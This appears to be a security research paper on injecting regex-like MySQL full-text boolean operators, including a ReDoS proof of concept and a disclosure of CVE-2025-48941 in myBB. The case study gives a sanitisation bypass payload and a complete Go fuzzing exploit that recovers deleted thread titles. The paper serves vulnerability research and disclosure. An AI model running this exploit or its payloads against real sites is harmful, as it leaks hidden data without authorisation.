"Even a small key can open a big lock" Azerbaijani Proverb
---[ Index
1 - Introduction
2 - Tradition
2.1 - ReDoS, not the OS
2.2 - REGEXP, RLIKE and others
3 - How insecure, secure implementations are?
4 - Study Case: myBB
4.1 - Identification
4.2 - Perfect Match Against Sanitization
4.3 - Exploiting
5 - Acknowledgements
6 - References
--[ 1 - Introduction
For years, SQL Injection has been mostly about syntax-breaking payloads. But
with tools getting advanced, it is more about creating "cooler payload" /
finding ignored SAST warnings. I am a newbie who noticed this pattern going
back and forth and started searching for possibility of injection, without
escaping anything, something that SAST/WAFs don't have a rule for.
This paper presents a new technique for Regex Injection. At the beginning I
will explain just a bit of traditional methods that we knew before, then
shift into the technique and then we will study one of the vulnerabilities I
found in myBB which allowed viewing deleted thread names as an
unauthenticated user.
--[ 2 - Tradition
This section explains traditional methods that were usually used to identify
vulnerabilities related to regex. But before going further, let's understand
the difference between regex, wildcard, and operator. BTW, originally I
wanted to call this paper WOR technique.
----[ 2.1 - ReDoS, not the OS
A regular expression (Regex) is a sequence of characters that specifies a
match pattern in text. The main feature of regex is the ability to match
complex string patterns. A wildcard, on the other hand, is a symbol used to
represent zero or more characters. In SQL, the percent sign (%) and
underscore (_); in regex, the period (.) and asterisk (*) are considered
wildcards. Operators are logical symbols; some examples include AND, OR,
NOT, =, !=, <, >, >=, <=, +, -, *, /. Operators like asterisk are used for
calculations, so don't confuse them with wildcards. I guess now you
understand why I wanted to call it WOR technique. Certainly not because WOR
means thief in Russian and the whole article is about a technique for
stealing information from software that I can't write about because its
developers prioritize feature over security.
Backtracking is a problem-solving method where you return to a previous
decision point (backtrack) in a process and try a different option when the
current path fails to produce a valid result. It is like being in a
labyrinth with multiple paths. You try one path, but hit a dead end. So, you
backtrack--go back to the last junction where you had other options--and try
a different direction. You keep repeating this process until you either find
the exit or exhaust all paths.
A quantifier specifies how many times the preceding element must occur for a
match to happen.
Quantifier | Meaning | Regex | Match
++++++++++++++++++++++++++++++++++++++++++++
* | Zero or more times | p* | "","p","ph"...
+ | One or more | p+ | "p","ph","phr"
? | Zero or one | p? | "", "p"
{n} | n times | p{3} | "ppp"
{n,} | n or more times | p{2,} | "pp","ppp"...
{n,m} | Between n and m times | p{2,4} | "pp", "ppp", "pppp"
Nested quantifiers are patterns where a quantifier is applied to a subpattern
that already has a quantifier. So I can't just take p+? pattern, add
quantifier + and make it p+?+, because the syntax is invalid. This is where
"Capturing group" comes to help. The p+ means "one or more p." When we add ?
to it, it means "one or more p's (the + part), but not more than one (the ?
part) p." It means that if the input is "ppp," the output will match exactly
one p. So the output will be Match 1 (p), Match 2 (p), Match 3 (p). Now
when I group this subpattern (p+?), the pattern match will stay the same,
and the group match will be the same as the pattern match, because there is
no extra quantifier. If I change it a bit by adding +, making it (p+?)+, it
will mean "one or more p's, but not more than one p, repeated one or more
times until it succeeds." So the subpattern will repeat until it succeeds;
the inner regex takes the first p, second p, and third p. Now that no more
characters are left, the pattern stops. Overall match is the concatenation
of all results "ppp." A capturing group only "remembers" the last result of
the subpattern, which is "p."
Pattern | Meaning of pattern | Regex | Match Result |
++++++++++++++++++++++++++++++++++++++++++
(...) | groups a subpattern | (p+?)+ | "ppp" (pattern |
match), "p" (group match)
++++++++++++++++++++++++++++++++++++++++++
ReDoS (Regular Expression Denial of Service) is a vulnerability where a regex
lets an attacker supply input that makes the engine backtrack for an
extremely long time, causing DoS. Usually, regex that has nested qualifiers
leads to ReDoS.
To create a ReDoS payload, our inner quantifier should grab as much as it
can. Therefore, the subpattern could be something like a+ or a*. If our
input is aaaac, it will match aaaa. Next, we can create a nested quantifier
by using a* as the subpattern and then adding a + quantifier. This way, the
a* group will match repeatedly until it succeeds. Our new regex is (a*)+.
If the input is aaaac, the first match is aaaa. Then, because the asterisk
(*) means "zero or more," we also get zero-length matches. For instance,
after aaaa is matched, there is an empty match between aaaa and c, and
another empty match after c, giving three matches in total (two of which are
empty).
We can force a mismatch after these matches by adjusting the pattern to
expect the string to end with b, even though our input ends with c. Hence,
the new regex is (a*)+b, and our input remains aaaac. The (a*)+ part can
match aaaac in numerous ways because a* can match zero or more 'a's, and the
+ quantifier allows multiple such matches. Each different way (a*)+ can
consume part of the string is a "possible result" for that subpattern. Since
the overall regex (a*)+b fails on its first attempt, the regex engine must
backtrack and see if there was another way for (a*)+ to match aaaac that
might allow the subsequent b to match. The bigger the input, the more
backtracking possibilities are created, leading to a potential DoS.
For example (just for demonstration), consider ways of partitioning aaaa into
one or more non-empty groups of a. This is not exactly how most regex
engines work, but it illustrates the concept of multiple ways to match.
1: ("aaaa")
2: ("aaa")("a")
3: ("aa")("aa")
4: ("a")("aaa")
5: ("aa")("a")("a")
6: ("a")("aa")("a")
7: ("a")("a")("aa")
8: ("a")("a")("a")("a")
Pattern | Description | Input |
-----------|-----------------------------------------|------------|
(a*)+b | inner a+ (1 or more a), outer | aaaac |
| (...)+ repeats | |
-----------|-----------------------------------------|------------|
Example script to demonstrate ReDoS:
____________________________________________________________
package main
import (
"fmt"
"os"
"os/exec"
"os/signal"
"strings"
"syscall"
"time"
"github.com/dlclark/regexp2"
)
func main() {
fmt.Println("ReDoS PoC")
count := 200
pid := os.Getpid()
re := regexp2.MustCompile(`(a*)+b`, 0)
input := strings.Repeat("a", count) + "c"
sigs := make(chan os.Signal, 1)
signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM)
done := make(chan struct{})
go func() { <-sigs; close(done); os.Exit(0) }()
go func() { re.MatchString(input); close(done) }()
for {
select {
case <-done:
return
default:
out, _ := exec.Command("ps", "-p", fmt.Sprintf("%d", pid),
"-o", "%cpu=").Output()
cpu := strings.TrimSpace(string(out))
fmt.Printf("CPU usage: %s\n", cpu)
time.Sleep(500 * time.Millisecond)
}
}
}
____________________________________________________________
Response:
khatai@5df0825ade8a tmp % go run main.go
ReDoS PoC
CPU usage: 0.0
CPU usage: 80.2
CPU usage: 97.7
CPU usage: 100.0
CPU usage: 100.0
----[ 2.2 - REGEXP, RLIKE and others
Beyond application-level regex engines, many database systems also use
regular expressions for matching strings. Let's, for instance, take REGEXP.
REGEXP itself can lead to information disclosure, and prepared statements
won't help, as this has nothing to do with the regex itself. It all comes
down to insecure implementation. For example, in a case where an SQL query
is like this: SELECT Name FROM Data WHERE Content REGEXP '^?', using
prepared statements or backslashing (preg_quote) won't be much help. If user
input is .*, it all will look like this:
Input: '.*'
Trimmed: '.*'
preg_quote()'d and escaped: '\.\*'
Final REGEXP Pattern: '^\.\*'
SELECT Name FROM Data WHERE Content REGEXP '^\.\*';
Problems like these can be easily fixed if there is a "visibility" column
or some special prevention against regex cases. In most applications, there
probably are implementations to prevent these cases from happening. So we
will want an SQL function, which accepts a "sequence of characters that
specifies a match pattern in text" (which basically defines regex) but isn't
documented as a regex function in the MySQL documentation.
--[ 3 - How insecure, secure implementations are?
Let's take `real_escape_string` for example; everything seems fine, as it
escapes single and double quotes, which are usually enough. But if you take
a look at "backup" and similar options of most systems, you will notice
that they don't use single/double quotes, they use backticks for table
names. Backticks are used mostly with REPAIR, EXPORT, OPTIMIZE, ANALYZE,
TRUNCATE, ALTER and so on. It might seem dumb, but I consider this as
insecure design rather than insecure implementation. The C API function
`mysql_real_escape_string_quote`, escapes backticks, while nothing else I
have seen does. The above part was just an example, a "noteworthy comment"
if you will.
The real deal is Full-Text Search Functions. They are used in most
softwares, especially blogs, LMS, and forums for advanced searching.
According to Wikipedia, "Full-text search refers to techniques for searching
a single computer-stored document or a collection in a full-text database".
When performing Full-text search (from now on FTS) DBMS use certain
characters with special meanings. These characters also specify match
pattern, which defines regex, but not the usual regex we know of; this one
is custom. MySQL can perform boolean full-text searches using special
boolean mode operators; the syntax looks like this: MATCH (col1,col2,...)
AGAINST (expr [search_modifier]). But before going into that, here is a
basic table showing the difference between the Regex we know and Boolean
Mode Operators.
Character | Traditional Regex | MySQL Boolean Mode |
________________________________________________
| + | one or more | word must be present |
| - | No special meaning | word must not be present |
| * | zero or more | Wildcard character |
| ^ | start of string or line | No special meaning |
| $ | end of string or line | No special meaning |
| . | Wildcard character | No special meaning |
| () | Grouping subpatterns | Grouping subexpressions |
| [] | any character in the set | No special meaning |
| {n,m} | between n and m | No special meaning |
| "" | No special meaning | exact sequence of words |
| < | No special meaning | increases weight of term |
| > | No special meaning | decreases weight of term |
| ~ | No special meaning | same as decrease weight |
_________________________________________________
Example query from MySQL Doc, which shows queries containing MySQL and not
containing YourSQL:
mysql> SELECT * FROM articles WHERE MATCH (title,body)
-> AGAINST ('+MySQL -YourSQL' IN BOOLEAN MODE);
_____________________________________
| id | title | body |
++++++++++++++++++++++++++++++++++++
| 1 | MySQL Tutorials For | DBMS stands |
| 2 | How To Use MySQL Well | After you went |
| 3 | Optimizing MySQL in the | In this tutorial |
| 4 | 1001 MySQL Tricks | 1. Never run |
| 6 | MySQL Security | When configu. |
_____________________________________
I think you see the problem now, there aren't any special implementations
that would prevent these special operators (custom regex) from executing and
the query itself is in quotes. So, we found something that:
1. Doesn't require any escape
2. Isn't identified by WAFs/SASTs/DASTs or anything else
3. Has the possibility of leaking data
Now the pros against REGEXP, RLIKE, LIKE and normal search:
1. No one calls it regex, so input often won't be sanitized against
asterisks, etc.
2. Has logic which might come in handy if needed
The attack vector on which we should focus is Search functions, especially
the ones which show "name" but don't show content, or show "count" of
documents that contain a "content". Basically, anything that gives you an
idea of the word "contains".
Obviously, this kind of stuff isn't about theory, it is about practice. So
I downloaded a list of open source web applications using a database and
identified this pattern in some of them. The quickest and only fix at the
moment was done by myBB team and identified as CVE-2025-48941. Before going
further, here is a list of similar functions in other DBMSs.
DBMS | Full-text function / predicate
_______________________________________________________________
MySQL | MATCH(col) AGAINST ('+python -java' IN BOOLEAN MODE)
PostgreSQL | to_tsvector(col) @@ to_tsquery('python & !java') or
| @@ websearch_to_tsquery('python -java')
SQL Server | CONTAINS(col, ' "python" AND NOT "java" ')
Oracle DB | CONTAINS(col, 'python AND NOT java') > 0
IBM Db2 | CONTAINS(col, '"python" & !"java"') =1
_______________________________________________________________
--[ 4 - Study Case: myBB
This section covers analysis of CVE-2025-48941. In my test env I enabled
FTS. I put "Search Flood Time (seconds)" to 0, to ease my work, having
multiple accounts or using proxies would provide the same effect (this value
isn't crucial, it is only for the exploit to work faster), and I have 2
deleted threads with titles "jackie chan" and
"0ce3266d4eb71ad50f7a90aee6d21dcd"
----[ 4.1 - Identification
Deleted threads are visible to an admin when searching, and the search
function is the same for an admin and a user, so the question is, what will
be visible exactly?
The `perform_search_mysql_ft` uses MATCH AGAINST functions when searching.
--------------------------------------------------------------------------
/inc/functions_search.php
$message_lookin = "AND MATCH(message) AGAINST('"
.$db->escape_string($keywords)."' IN BOOLEAN MODE)";
$subject_lookin = "AND MATCH(subject) AGAINST('"
.$db->escape_string($keywords)."' IN BOOLEAN MODE)";
--------------------------------------------------------------------------
It is seen that there are 2 main options to MATCH AGAINST, message or
subject. But before going into this, we have to understand how keywords are
passed.
Firstly, `perform_search_mysql_ft` takes the keyword and passes it into the
`clean_keywords_ft` function
--------------------------------------------------------------------------
/inc/functions_search.php
function perform_search_mysql_ft($search)
{
global $mybb, $db, $lang;
$keywords = clean_keywords_ft($search['keywords']);
--------------------------------------------------------------------------
----[ 4.2 - Perfect Match Against Sanitization
So I am searching for "jack*". My "jack*" transformed into "jack"; to
understand the reason, let's check the `clean_keywords_ft` function itself.
In basic regex:
------------------
(\b.{1,2})(\s)|(\b.{1,2}$)
------------------
As you can see, it has \b (word boundary) which exists in these positions:
* Between a "word character" and a "non-word character" (which is anything
not \w, like *, (, +, space, etc.).
* Between a "non-word character" and a "word character".
* At the beginning of the string if the first character is a \w.
* At the end of the string if the last character is a \w.
Because of the first reason, the asterisk gets replaced.
To bypass it, I can simply add "ZZ" at the end. Because .{1,2}$ matches the
last 1 or 2 characters. And now that the string is "jack*ZZ", the "*ZZ" part
is between a "non-word character"(*) and a "word character" (ZZ). So the
word character (ZZ) gets replaced and "jack*ZZ" becomes "jack*".
After the `clean_keywords_ft` function, our keyword will be passed inside:
--------------------------------------------------------------------------
/inc/functions_search.php
$word = str_replace(array("+", "-", "*"), '', $word);
--------------------------------------------------------------------------
So our asterisk gets replaced again. Now to bypass it I will use 2 keywords;
the first keyword will be "&&&&&". There is no special reason for that, I
just need an extra keyword which will be ignored by MATCH AGAINST.
--------------------------------------------------------------------------
mysql> SELECT t.tid, t.firstpost FROM mybb_threads t WHERE 1=1 AND
-> MATCH(subject) AGAINST('+&&&&& +jack*' IN BOOLEAN MODE);
+-----+-----------+
| tid | firstpost |
+-----+-----------+
| 2 | 2 |
+-----+-----------+
1 row in set (0.00 sec)
--------------------------------------------------------------------------
This one seems to be working. So I am passing &&&&& +jack*ZZ as input so
that it would be converted into +&&&&& +jack*. The second asterisk won't get
removed, and here is the reason:
--------------------------------------------------------------------------
/inc/functions_search.php
function perform_search_mysql_ft($search)
{
global $mybb, $db, $lang;
$keywords = clean_keywords_ft($search['keywords']);
if($mybb->settings['minsearchword'] < 1)
{
$mybb->settings['minsearchword'] = 4;
}
$message_lookin = $subject_lookin = '';
if($keywords)
{
$keywords_exp = explode("\"", $keywords);
$inquote = false;
foreach($keywords_exp as $phrase)
{
if(!$inquote)
{
$split_words = preg_split("#\s{1,}#", $phrase, -1);
foreach($split_words as $word)
{
$word = str_replace(array("+", "-", "*"), '', $word);
if(!$word)
{
continue;
}
if(my_strlen($word) < $mybb->settings['minsearchword'])
{
$all_too_short = true;
}
else
{
$all_too_short = false;
break;
}
}
}
--------------------------------------------------------------------------
The `split_words` array will be: `0=>"+&&&&&"`, `1=> "+jack*"`. The
`foreach` loop will process "+&&&&&" first and it will become "&&&&&".
Because '+', '-', and '*' get replaced with nothing. Then, if the length of
"&&&&&" is less than `minsearchword` (which is 4 and was set inside
`perform_search_mysql_ft`), it will continue the `foreach` loop; otherwise,
it will set `all_too_short` to false and break the `foreach` loop. In our
case, the length is 5, and it breaks the `foreach` loop, because of which
our second word, "+jack*", won't even get replaced. Later, it will be passed
into MATCH AGAINST
----[ 4.3 - Exploiting
The query, as you can see, has a response showing the tid and firstpost. The
reason why this works for the title and not for the content is because of
"p.visible = 1" and "t.visible = 1", but we will come to that later.
--------------------------------------------------------------------------
/inc/functions_search.php
else
{
$query = $db->query("
SELECT t.tid, t.firstpost
FROM ".TABLE_PREFIX."threads t
WHERE 1=1 {$thread_datecut} {$thread_replycut}
{$thread_prefixcut} {$forumin} {$thread_usersql} {$permsql}
{$visiblesql} {$subject_lookin}
{$limitsql}
");
while($thread = $db->fetch_array($query))
{
$threads[$thread['tid']] = $thread['tid'];
if($thread['firstpost'])
{
$firstposts[$thread['tid']] = $thread['firstpost'];
}
}
if(count($threads) < 1)
{
error($lang->error_nosearchresults);
}
$threads = implode(',', $threads);
$firstposts = implode(',', $firstposts);
if($firstposts)
{
$query = $db->simple_select("posts", "pid", "pid IN
($firstposts) {$plain_post_visiblesql} {$limitsql}");
while($post = $db->fetch_array($query))
{
$posts[$post['pid']] = $post['pid'];
}
$posts = implode(',', $posts);
}
}
return array(
"threads" => $threads,
"posts" => $posts,
"querycache" => ''
);
--------------------------------------------------------------------------
Query in DB:
--------------------------------------------------------------------------
mysql> SELECT t.tid, t.firstpost FROM mybb_threads t WHERE 1=1 AND
-> MATCH(subject) AGAINST('+&&&&& +jack*' IN BOOLEAN MODE);
+-----+-----------+
| tid | firstpost |
+-----+-----------+
| 2 | 2 |
+-----+-----------+
1 row in set (0.00 sec)
--------------------------------------------------------------------------
Now the MOST important part here is
--------------------------------------------------------------------------
/inc/functions_search.php
if(count($threads) < 1)
{
error($lang->error_nosearchresults);
}
--------------------------------------------------------------------------
If the response has no result, it will open "error_nosearchresults";
otherwise, it will REDIRECT. This is why it is possible to identify title
name, without seeing it. If I get a redirect when using "jack*", it means
that there is a title that starts with "jack", otherwise it would directly
open "error_nosearchresults". Now inside upload/search.php, we see this
line, which shows where we get redirected. The thing is, we wouldn't have
been able to reach this line if the response from MySQL had been empty.
----------------------------------
/upload/search.php
redirect("search.php?action=results&sid=".$sid."&sortby=".$sortby."&order="
.$sortorder, $lang->redirect_searchresults);
----------------------------------
It is possible to exploit this vulnerability by fuzzing. The logic here is:
I start with a*, then aa*, ab*, ac*, and so on. In a real-world scenario,
an attacker would have multiple accounts, or proxies. In the test
environment I just put "Search Flood Time (seconds)" to 0. Basic script:
--------------------------------------------------------------------------
package main
import (
"fmt"
"io"
"net/http"
"os"
"strings"
)
const fuzzChars = "abcdefghijklmnopqrstuvwxyz0123456789"
const queryTemplate = "search.php?action=do_search&keywords=%26%26%26%26%26"
+ "+%2B{FUZZ}*xD&postthread=2&author=&matchusername=1&forums%5B%5D=all"
+ "&findthreadst=1&numreplies=&postdate=0&pddir=1&sortby=lastpost"
+ "&sortordr=desc&showresults=threads&submit=Search"
const successIndicator = "end: redirect"
const maxFuzzPayloadLength = 50
func min(a, b int) int {
if a < b {
return a
}
return b
}
func main() {
if len(os.Args) < 2 {
fmt.Fprintln(os.Stderr, "Usage: go run test.go <base_url>")
fmt.Fprintln(os.Stderr, "Example: go run test.go http://127.0.0.1")
os.Exit(1)
}
baseURL := strings.TrimSuffix(os.Args[1], "/")
fmt.Printf("Target base URL: %s\n", baseURL)
fmt.Printf("Fuzzing characters: %s\n", fuzzChars)
fmt.Printf("Max fuzz payload length: %d\n", maxFuzzPayloadLength)
fmt.Println("---")
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return nil
},
}
var allFoundSuccessfulPayloads []string
var payloadsToTestThisRound []string
for _, charRune := range fuzzChars {
payloadsToTestThisRound = append(payloadsToTestThisRound,
string(charRune))
}
for currentLength := 1; currentLength <= maxFuzzPayloadLength;
currentLength++ {
if len(payloadsToTestThisRound) == 0 {
fmt.Printf("No more payloads to test. Stopping as no payloads" +
" generated for length %d.\n", currentLength)
break
}
fmt.Printf("--- Testing payloads of length %d (found %d to test)" +
" ---\n", currentLength, len(payloadsToTestThisRound))
var successfulPayloadsFoundThisRound []string
for _, fuzzPayload := range payloadsToTestThisRound {
fuzzedQuery := strings.Replace(queryTemplate, "{FUZZ}",
fuzzPayload, 1)
fullURL := baseURL + "/" + fuzzedQuery
urlToPrint := fullURL
if len(urlToPrint) > 120 {
urlToPrint = urlToPrint[:117] + "..."
}
fmt.Printf("Testing payload: '%s' (URL: %s)\n", fuzzPayload,
urlToPrint)
req, err := http.NewRequest("GET", fullURL, nil)
if err != nil {
fmt.Fprintf(os.Stderr, " Error creating request for" +
" payload '%s': %v\n", fuzzPayload, err)
continue
}
resp, err := client.Do(req)
if err != nil {
fmt.Fprintf(os.Stderr, " Error making GET request for" +
" payload '%s': %v\n", fuzzPayload, err)
continue
}
bodyBytes, err := io.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
fmt.Fprintf(os.Stderr, " Error reading response body for" +
" payload '%s': %v\n", fuzzPayload, err)
continue
}
bodyString := string(bodyBytes)
if strings.Contains(bodyString, successIndicator) {
fmt.Printf(" SUCCESS! Payload: '%s' (Status: %s)." +
" Response contains '%s'.\n", fuzzPayload, resp.Status,
successIndicator)
allFoundSuccessfulPayloads = append(allFoundSuccessfulPayloads,
fuzzPayload)
successfulPayloadsFoundThisRound =
append(successfulPayloadsFoundThisRound, fuzzPayload)
}
}
if currentLength < maxFuzzPayloadLength {
if len(successfulPayloadsFoundThisRound) == 0 {
fmt.Printf("No successful payloads found at length %d." +
" Stopping further iterations.\n", currentLength)
payloadsToTestThisRound = []string{}
} else {
var nextPayloads []string
for _, prefix := range successfulPayloadsFoundThisRound {
for _, charRune := range fuzzChars {
nextPayloads = append(nextPayloads,
prefix+string(charRune))
}
}
payloadsToTestThisRound = nextPayloads
if len(payloadsToTestThisRound) == 0 &&
len(successfulPayloadsFoundThisRound) > 0 {
fmt.Println("Warning: Generated empty next set of" +
" payloads despite successes in current round. This" +
" might happen if fuzzChars is empty. Stopping.")
break
}
}
} else {
fmt.Printf("Reached max payload length of %d.\n",
maxFuzzPayloadLength)
}
}
fmt.Println("--- Fuzzing Complete ---")
if len(allFoundSuccessfulPayloads) > 0 {
fmt.Printf("Found %d successful payload(s) in total:\n",
len(allFoundSuccessfulPayloads))
for _, p := range allFoundSuccessfulPayloads {
fmt.Printf(" - %s\n", p)
}
} else {
fmt.Println("No successful payloads found.")
}
}
--------------------------------------------------------------------------
--[ 5 - Acknowledgements
Thanks to the MyBB team, especially to Devilshakerz for the fast
remediation!
--[ 6 - References
[ 0 ] https://en.wikipedia.org/wiki/Regular_expression
[ 1 ] https://en.wikipedia.org/wiki/Wildcard_character
[ 2 ] https://owasp.org/www-community/attacks/Regular_expression
_Denial_of_Service_-_ReDoS
[ 3 ] https://www.imperva.com/learn/ddos/regular-expression-denial-of-
service-redos/
[ 4 ] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/
Regular_expressions
[ 5 ] https://dev.mysql.com/doc/refman/8.4/en/regexp.html
[ 6 ] https://en.wikipedia.org/wiki/Full-text_search
[ 7 ] https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html
[ 8 ] https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html
[ 9 ] https://github.com/mybb